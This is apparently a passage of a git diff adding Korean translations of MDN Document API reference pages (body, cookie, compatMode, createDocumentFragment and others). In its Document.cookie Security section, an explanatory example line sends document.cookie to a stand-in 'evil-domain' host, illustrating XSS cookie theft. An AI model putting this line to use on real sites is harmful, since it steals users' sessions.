+<p><code>color</code>는 색깔의 이름을 포함하는 문자열 (e.g., <code>"blue"</code>, <code>"darkblue"</code>, etc.) 혹은 색깔의 16진수 값으로 설정할 수 있습니다(e.g., <code>#0000FF</code>).</p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>The default value for this property in Mozilla Firefox is red (<code>#ee0000</code> in hexadecimal).</p>
+<p><code>document.alinkColor</code> is deprecated in <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a>. One alternative is the CSS selector {{ Cssxref(":active") }}.</p>
+<p>Another alternative is <code>document.body.aLink</code>, although this is <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-alink">deprecated in HTML 4.01</a> in favor of the CSS alternative.</p>
+<p><a href="ko/Gecko">Gecko</a> supports both <code>alinkColor</code>/<code>:active</code> and {{ Cssxref(":focus") }}. Internet Explorer 6 and 7 support <code>alinkColor</code>/<code>:active</code> only for <a href="ko/HTML/Element/a"> HTML anchor (&lt;a&gt;) links</a> and the behavior is the same as <code>:focus</code> under Gecko. There is no support for <code>:focus</code> in IE.</p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p>{{ DOM0() }}</p>
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/alinkcolor.asp">MSDN: alinkColor property</a></p>
+<p>{{ languages( { "es": "es/DOM/document.alinkColor", "pl": "pl/DOM/document.alinkColor" } ) }}</p>
diff --git a/files/ko/web/api/document/all/index.html b/files/ko/web/api/document/all/index.html
new file mode 100644
index 0000000000..e130540cea
--- /dev/null
+++ b/files/ko/web/api/document/all/index.html
@@ -0,0 +1,49 @@
+---
+title: Document.all
+slug: Web/API/Document/all
+tags:
+  - API
+  - DOM
+  - Document
+  - HTMLAllCollection
+  - Property
+  - Reference
+  - all
+translation_of: Web/API/Document/all
+---
+<div>{{APIRef("DOM")}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p>{{DOMxRef("Document")}} 인터페이스의 read-only <strong><code>all</code></strong> 요소는 document node에 위치한{{DOMxRef("HTMLAllCollection")}} 반환한다. 간단하게 말하면 read-only <strong><code>all</code></strong> 요소는 페이지의 모든 contents를 반환 해준다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>htmlAllCollection</var> = document.all;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{DOMxRef("HTMLAllCollection")}}는 문서 내에서 모든 node를 담고 있다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.all")}}</p>
diff --git a/files/ko/web/api/document/anchors/index.html b/files/ko/web/api/document/anchors/index.html
new file mode 100644
index 0000000000..3a37425ab9
--- /dev/null
+++ b/files/ko/web/api/document/anchors/index.html
@@ -0,0 +1,31 @@
+---
+title: document.anchors
+slug: Web/API/Document/anchors
+tags:
+  - API
+  - Deprecated
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/Document/anchors
+---
+<div>{{APIRef("DOM")}} {{deprecated_header()}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <strong><code>anchors</code></strong> 읽기 전용 속성은 문서 내의 모든 앵커 목록을 반환합니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: html">if ( document.anchors.length &gt;= 5 ) {
+    dump("dump found too many anchors");
+    window.location = "http<span class="nowiki">:</span>//www.google.com";
+}
+</pre>
+
+<h2 id="Notes" name="Notes">알아두기</h2>
+
+<p>이전 버전과의 호환성을 제공하기 위해, 반환된 anchor들의 목록은 <code>name</code> 속성(attribute)으로 생성된 anchors들만 포함하고 <code>id</code> 속성(attribute)으로 생성된 것들은 포함하지 않습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.anchors")}}</p>
diff --git a/files/ko/web/api/document/applets/index.html b/files/ko/web/api/document/applets/index.html
new file mode 100644
index 0000000000..25c147849b
--- /dev/null
+++ b/files/ko/web/api/document/applets/index.html
@@ -0,0 +1,30 @@
+---
+title: document.applets
+slug: Web/API/Document/applets
+tags:
+  - DOM
+  - Gecko
+translation_of: Web/API/Document/applets
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Summary" name="Summary">요약</h3>
+
+<p><code>applets</code> document 내의 정렬된 애플릿 목록을 리턴합니다.</p>
+
+<h3 id="Syntax" name="Syntax">문법</h3>
+
+<pre class="eval"><em>nodeList</em> = document.applets
+</pre>
+
+<h3 id="Example" name="Example">예제</h3>
+
+<pre class="eval">// ( 여러분이 원하는 두 번째 애플릿을 알고 있을 때 )
+my_java_app = document.applets[1];
+</pre>
+
+<h3 id="Specification" name="Specification">명세</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-85113862">DOM 레벨 2 HTML: applets</a></p>
+
+<p>{{ languages( { "en": "en/DOM/document.applets", "es": "es/DOM/document.applets", "pl": "pl/DOM/document.applets" } ) }}</p>
diff --git a/files/ko/web/api/document/body/index.html b/files/ko/web/api/document/body/index.html
new file mode 100644
index 0000000000..adc40e872e
--- /dev/null
+++ b/files/ko/web/api/document/body/index.html
@@ -0,0 +1,74 @@
+---
+title: Document.body
+slug: Web/API/Document/body
+tags:
+  - API
+  - DOM
+  - Document
+  - Property
+  - Reference
+translation_of: Web/API/Document/body
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Document.</strong><strong>body</strong></code> 속성은 현재 문서의 {{htmlelement("body")}} 혹은 {{htmlelement("frameset")}} 노드를 나타냅니다. 일치하는 요소가 존재하지 않으면 <code>null</code>을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre>const <em>objRef</em> = document.body
+document.body = <em>objRef</em>
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">// HTML: &lt;body id="oldBodyElement"&gt;&lt;/body&gt;
+alert(document.body.id); // "oldBodyElement"
+
+let aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"</pre>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p><code>Document.body</code>는 문서의 콘텐츠를 수용하는 요소입니다. <code>&lt;body&gt;</code> 콘텐츠를 가지고 있는 문서는 <code>&lt;body&gt;</code> 요소를 반환하고, 프레임셋을 가지고 있는 문서는 가장 바깥쪽의 <code>&lt;frameset&gt;</code> 요소를 반환합니다.</p>
+
+<p><code>body</code> 속성에 새로운 값을 설정할 수 있긴 하지만, 문서에 새로운 본문을 설정하는건 <code>&lt;body&gt;</code> 요소가 가지고 있던 모든 자식을 제거하는 것과 같습니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성 </h2>
+
+<p>{{Compat("api.Document.body")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Document.head")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/characterset/index.html b/files/ko/web/api/document/characterset/index.html
new file mode 100644
index 0000000000..647c25ab41
--- /dev/null
+++ b/files/ko/web/api/document/characterset/index.html
@@ -0,0 +1,47 @@
+---
+title: Document.characterSet
+slug: Web/API/Document/characterSet
+tags:
+  - API
+  - DOM
+  - Document
+  - Property
+  - Reference
+translation_of: Web/API/Document/characterSet
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><code><strong>Document.characterSet</strong></code> 읽기 전용 속성은 현재 문서가 렌더링에 사용하는 <a href="/en-US/docs/Glossary/character_encoding">문자 인코딩</a>을 반환합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>Document.charset</code>과 <code>Document.inputEncoding</code> 속성은 <code>Document.characterSet</code>의 이전 별칭입니다. 더 이상 사용지 마세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;button onclick="console.log(document.characterSet);"&gt;
+  콘솔에 인코딩 출력
+&lt;/button&gt;
+&lt;!-- "ISO-8859-1"이나 "UTF-8" 등, 문서의 캐릭터 셋 기록 --&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.characterSet")}}</p>
diff --git a/files/ko/web/api/document/compatmode/index.html b/files/ko/web/api/document/compatmode/index.html
new file mode 100644
index 0000000000..8a8a33b2fd
--- /dev/null
+++ b/files/ko/web/api/document/compatmode/index.html
@@ -0,0 +1,64 @@
+---
+title: Document.compatMode
+slug: Web/API/Document/compatMode
+tags:
+  - API
+  - DOM
+  - Document
+  - Property
+  - Reference
+translation_of: Web/API/Document/compatMode
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><code><strong>Document.compatMode</strong></code> 속성은 문서 렌더링을 <a href="/ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">호환 모드</a>에서 진행했는지, 표준 모드에서 진행했는지 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>mode</em> = <em>document</em>.compatMode
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>다음 중 하나.</p>
+
+<ul>
+ <li>문서가 호환 모드이면 <code>"BackCompat"</code></li>
+ <li>문서가 호환 모드가 아니거나("표준") 제한적 호환("거의 표준") 모드이면 <code>"CSS1Compat"</code></li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 위의 모든 모드는 표준화됐으므로, 오래 전에 사용하던 "표준"과 "거의 표준"이라는 이름은 말이 되지 않아 이제 사용하지 않습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">if (document.compatMode == "BackCompat") {
+  // in Quirks mode
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '/#dom-document-compatmode','compatMode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.compatMode")}}</p>
diff --git a/files/ko/web/api/document/cookie/index.html b/files/ko/web/api/document/cookie/index.html
new file mode 100644
index 0000000000..d5cfd2f0d3
--- /dev/null
+++ b/files/ko/web/api/document/cookie/index.html
@@ -0,0 +1,243 @@
+---
+title: Document.cookie
+slug: Web/API/Document/cookie
+translation_of: Web/API/Document/cookie
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"> {{domxref("Document")}} <code>cookie</code> 는 document와 연관된 <a href="/en-US/docs/Web/HTTP/Cookies">cookies</a> 를 읽고 쓸 수 있게 해준다. 쿠키의 실제값에 대한 getter 와 setter로 작동한다.</span></p>
+
+<h2 id="문법">문법</h2>
+
+<h3 id="Read_all_cookies_accessible_from_this_location">Read all cookies accessible from this location</h3>
+
+<pre class="syntaxbox notranslate"><var>allCookies</var> = <var>document</var>.cookie;</pre>
+
+<p>위 코드에서 <code><var>allCookies</var></code> 세미콜론으로 구분되는 모든 쿠키 리스트의 문자열이다. (다른 말로 <code><var>key</var>=<var>value</var></code>). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact, {{RFC(6265)}} mandates a single space after each semicolon, but some user agents may not abide by this.</p>
+
+<h3 id="Write_a_new_cookie">Write a new cookie</h3>
+
+<pre class="syntaxbox notranslate" id="new-cookie_syntax"><var>document</var>.cookie = <var>newCookie</var>;</pre>
+
+<p>In the code above, <code>newCookie</code> is a string of form <code><var>key</var>=<var>value</var></code>. Note that you can only set/update a single cookie at a time using this method. Consider also that:</p>
+
+<ul>
+ <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
+  <ul>
+   <li id="new-cookie_path">
+    <div><code>;path=<var>path</var></code> (e.g., '<code>/</code>', '<code>/mydir</code>') If not specified, defaults to the current path of the current document location.</div>
+
+    <div class="note"><strong>Note:</strong> Prior to {{Gecko("6.0")}}, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.</div>
+   </li>
+   <li id="new-cookie_domain"><code>;domain=<var>domain</var></code> (e.g., '<code>example.com</code>' or '<code>subdomain.example.com</code>'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included.
+    <div class="note"><strong>Note:</strong> The domain <em>must</em> match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored.</div>
+   </li>
+   <li id="new-cookie_max-age"><code>;max-age=<var>max-age-in-seconds</var></code> (e.g., <code>60*60*24*365</code> or 31536000 for a year)</li>
+   <li id="new-cookie_expires"><code>;expires=<var>date-in-GMTString-format</var></code> If neither <code>expires</code> nor <code>max-age</code> specified it will expire at the end of session.
+    <div class="warning">
+    <p>When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe.</p>
+    </div>
+
+    <ul>
+     <li>See {{jsxref("Date.toUTCString()")}} for help formatting this value.</li>
+    </ul>
+   </li>
+   <li id="new-cookie_secure"><code>;secure</code> Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.</li>
+   <li id="new-cookie_samesite"><code>;samesite</code> <a href="/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> prevents the browser from sending this cookie along with cross-site requests. Possible values are <code>lax</code>, <code>strict</code> or <code>none</code>.
+    <ul>
+     <li>The <code>lax</code> value value will send the cookie for all same-site requests and top-level navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks. This is the default value in modern browsers.</li>
+     <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.</li>
+     <li>The <code>none</code> value explicitly states no restrictions will be applied. The cookie will be sent in all requests—both cross-site and same-site.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>The cookie value string can use {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</li>
+ <li>Some user agent implementations support the following cookie prefixes:
+  <ul>
+   <li><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</li>
+   <li><code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.</li>
+  </ul>
+
+  <div class="note">The dash is considered part of the prefix.</div>
+
+  <div class="note">These flags are only settable with the <code>secure</code> attribute.</div>
+ </li>
+</ul>
+
+<div class="note"><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <em>not</em> a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_1_Simple_usage">Example #1: Simple usage</h3>
+
+<pre class="brush: js notranslate">document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookie()"&gt;Show cookies&lt;/button&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p>
+
+<h3 id="Example_2_Get_a_sample_cookie_named_test2">Example #2: Get a sample cookie named <em>test2</em></h3>
+
+<pre class="brush: js notranslate">document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+const cookieValue = document.cookie
+  .split('; ')
+  .find(row =&gt; row.startsWith('test2'))
+  .split('=')[1];
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="alertCookieValue()"&gt;Show cookie value&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p>
+
+<h3 id="Example_3_Do_something_only_once">Example #3: Do something only once</h3>
+
+<p>In order to use the following code, please replace all occurrences of the word <code>doSomethingOnlyOnce</code> (the name of the cookie) with a custom name.</p>
+
+<pre class="brush: js notranslate">function doOnce() {
+  if (!document.cookie.split('; ').find(row =&gt; row.startsWith('doSomethingOnlyOnce'))) {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="doOnce()"&gt;Only do something once&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p>
+
+<h3 id="Example_4_Reset_the_previous_cookie">Example #4: Reset the previous cookie</h3>
+
+<pre class="brush: js notranslate">function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}</pre>
+
+<pre class="brush: html notranslate">&lt;button onclick="resetOnce()"&gt;Reset only once cookie&lt;/button&gt;</pre>
+
+<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p>
+
+<h3 id="Example_5_Check_a_cookie_existence">Example #5: Check a cookie existence</h3>
+
+<pre class="brush: js notranslate">//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.trim().indexOf('reader=') == 0
+})) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) =&gt; item.trim().startsWith('reader='))) {
+    console.log('The cookie "reader" exists (ES6)')
+}
+</pre>
+
+<h3 id="Example_6_Check_that_a_cookie_has_a_specific_value">Example #6: Check that a cookie has a specific value</h3>
+
+<pre class="brush: js notranslate">//ES5
+
+if (document.cookie.split(';').some(function(item) {
+    return item.indexOf('reader=1') &gt;= 0
+})) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').some((item) =&gt; item.includes('reader=1'))) {
+    console.log('The cookie "reader" has "1" for value')
+}
+</pre>
+
+<h2 id="Security">Security</h2>
+
+<p>It is important to note that the <code>path</code> attribute does <em>not</em> protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden {{HTMLElement("iframe")}} element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property. The only way to protect the cookie is by using a different domain or subdomain, due to the <a href="/en-US/docs/Same_origin_policy_for_JavaScript">same origin policy</a>.</p>
+
+<p>Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+</pre>
+
+<p>The <code>HTTPOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a>.</li>
+ <li>You can delete a cookie by simply updating its expiration time to zero.</li>
+ <li>Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a> if you are going to keep "client-only" data.</li>
+ <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (Section 5.3, "Implementation Limits") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.</li>
+</ul>
+
+<p>The reason for the <a href="#Syntax">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>):</p>
+
+<h4 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h4>
+
+<pre class="eval notranslate">HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]</pre>
+
+<h4 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h4>
+
+<pre class="eval notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Cookie Prefixes")}}</td>
+   <td>{{Spec2("Cookie Prefixes")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.cookie")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Storage">DOM Storage</a></li>
+ <li><a href="/en-US/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li>
+ <li>{{jsxref("Date.toUTCString()")}}</li>
+ <li><a href="/ja/docs/Web/HTTP"><code>HTTP</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/Cookies">Cookies (code snippets)</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc2965">RFC 2965</a></li>
+</ul>
diff --git a/files/ko/web/api/document/createdocumentfragment/index.html b/files/ko/web/api/document/createdocumentfragment/index.html
new file mode 100644
index 0000000000..7c4fb33469
--- /dev/null
+++ b/files/ko/web/api/document/createdocumentfragment/index.html
@@ -0,0 +1,134 @@
+---
+title: Document.createDocumentFragment()
+slug: Web/API/Document/createDocumentFragment
+translation_of: Web/API/Document/createDocumentFragment
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>새로운 빈 {{domxref("DocumentFragment")}} 를 생성합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>docFragment</var> = document.createDocumentFragment();
+</pre>
+
+<p><code>docFragment</code> 는 빈 {{domxref("DocumentFragment")}} 객체를 나타냅니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>DocumentFragment</code>s 는 DOM 노드들 입니다. 이것들은 메인 DOM 트리의 일부가 되지 않습니다. 일반적인 유즈 케이스는 다큐먼트 조각을 생성하고, 엘리먼트들을 다큐먼트 조각에 추가하고 그 다큐먼트 조각을 DOM 트리에 추가하는 것입니다. DOM 트리 내에서 다큐먼트 조각은 그것의 모든 자식들로 대체됩니다.</p>
+
+<p>메모리 내에 다큐먼트 조각이 존재하고 메인 DOM 트리의 일부가 아니라면, 이것에 자식들을 추가하는 것은 페이지 <a href="https://developers.google.com/speed/articles/reflow?csw=1">reflow</a> (엘리먼트의 위치와 좌표의 계산) 를 유발하지 않습니다. 따라서, 다큐먼트 조각을 사용하는 것은 보통 <a href="http://ejohn.org/blog/dom-documentfragments/">better performance</a> 의 결과를 가져옵니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var ul = document.getElementsByTagName("ul")[0]; // assuming it exists
+var docfrag = document.createDocumentFragment();
+var browserList = ["Internet Explorer", "Firefox", "Safari",
+    "Chrome", "Opera"];
+
+browserList.forEach(function(e) {
+  var li = document.createElement("li");
+  li.textContent = e;
+  docfrag.appendChild(li);
+});
+
+ul.appendChild(docfrag);
+// a list with well-known web browsers
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Clarifies that the node document of the created document fragment is the context object.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li>
+ <li>{{domxref("documentFragment")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/createelement/index.html b/files/ko/web/api/document/createelement/index.html
new file mode 100644
index 0000000000..6cb461eeb5
--- /dev/null
+++ b/files/ko/web/api/document/createelement/index.html
@@ -0,0 +1,101 @@
+---
+title: Document.createElement()
+slug: Web/API/Document/createElement
+tags:
+  - API
+  - DOM
+  - Document
+  - Method
+  - Reference
+  - Web
+translation_of: Web/API/Document/createElement
+---
+<div>{{APIRef("DOM")}}</div>
+
